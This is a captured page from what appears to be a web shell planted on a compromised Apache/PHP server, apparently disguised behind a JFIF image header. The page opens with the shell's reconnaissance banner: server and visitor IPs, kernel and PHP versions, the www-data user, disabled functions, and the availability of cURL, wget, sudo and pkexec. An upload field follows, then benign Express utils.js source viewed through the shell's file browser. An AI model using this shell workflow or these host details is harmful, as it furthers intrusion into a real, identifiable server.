????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.147.80.203 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib/nodejs/express/ |
Upload File : |
/*! * Express - Utils * Copyright(c) 2010 TJ Holowaychuk <tj@vision-media.ca> * MIT Licensed */ /** * Check if `path` looks absolute. * * @param {String} path * @return {Boolean} * @api private */ exports.isAbsolute = function(path){ if ('/' == path[0]) return true; if (':' == path[1] && '\\' == path[2]) return true; }; /** * Merge object `b` with `a` giving precedence to * values in object `a`. * * @param {Object} a * @param {Object} b * @return {Object} a * @api private */ exports.union = function(a, b){ if (a && b) { var keys = Object.keys(b) , len = keys.length , key; for (var i = 0; i < len; ++i) { key = keys[i]; if (!a.hasOwnProperty(key)) { a[key] = b[key]; } } } return a; }; /** * Flatten the given `arr`. * * @param {Array} arr * @return {Array} * @api private */ exports.flatten = function(arr, ret){ var ret = ret || [] , len = arr.length; for (var i = 0; i < len; ++i) { if (Array.isArray(arr[i])) { exports.flatten(arr[i], ret); } else { ret.push(arr[i]); } } return ret; }; /** * Parse mini markdown implementation. * The following conversions are supported, * primarily for the "flash" middleware: * * _foo_ or *foo* become <em>foo</em> * __foo__ or **foo** become <strong>foo</strong> * [A](B) becomes <a href="B">A</a> * * @param {String} str * @return {String} * @api private */ exports.miniMarkdown = function(str){ return String(str) .replace(/(__|\*\*)(.*?)\1/g, '<strong>$2</strong>') .replace(/(_|\*)(.*?)\1/g, '<em>$2</em>') .replace(/\[([^\]]+)\]\(([^)]+)\)/g, '<a href="$2">$1</a>'); }; /** * Escape special characters in the given string of html. * * @param {String} html * @return {String} * @api private */ exports.escape = function(html) { return String(html) .replace(/&/g, '&') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>'); }; /** * Parse "Range" header `str` relative to the given file `size`. * * @param {Number} size * @param {String} str * @return {Array} * @api private */ exports.parseRange = function(size, str){ var valid = true; var arr = str.substr(6).split(',').map(function(range){ var range = range.split('-') , start = parseInt(range[0], 10) , end = parseInt(range[1], 10); // -500 if (isNaN(start)) { start = size - end; end = size - 1; // 500- } else if (isNaN(end)) { end = size - 1; } // Invalid if (isNaN(start) || isNaN(end) || start > end) valid = false; return { start: start, end: end }; }); return valid ? arr : undefined; }; /** * Fast alternative to `Array.prototype.slice.call()`. * * @param {Arguments} args * @param {Number} n * @return {Array} * @api public */ exports.toArray = function(args, i){ var arr = [] , len = args.length , i = i || 0; for (; i < len; ++i) arr.push(args[i]); return arr; };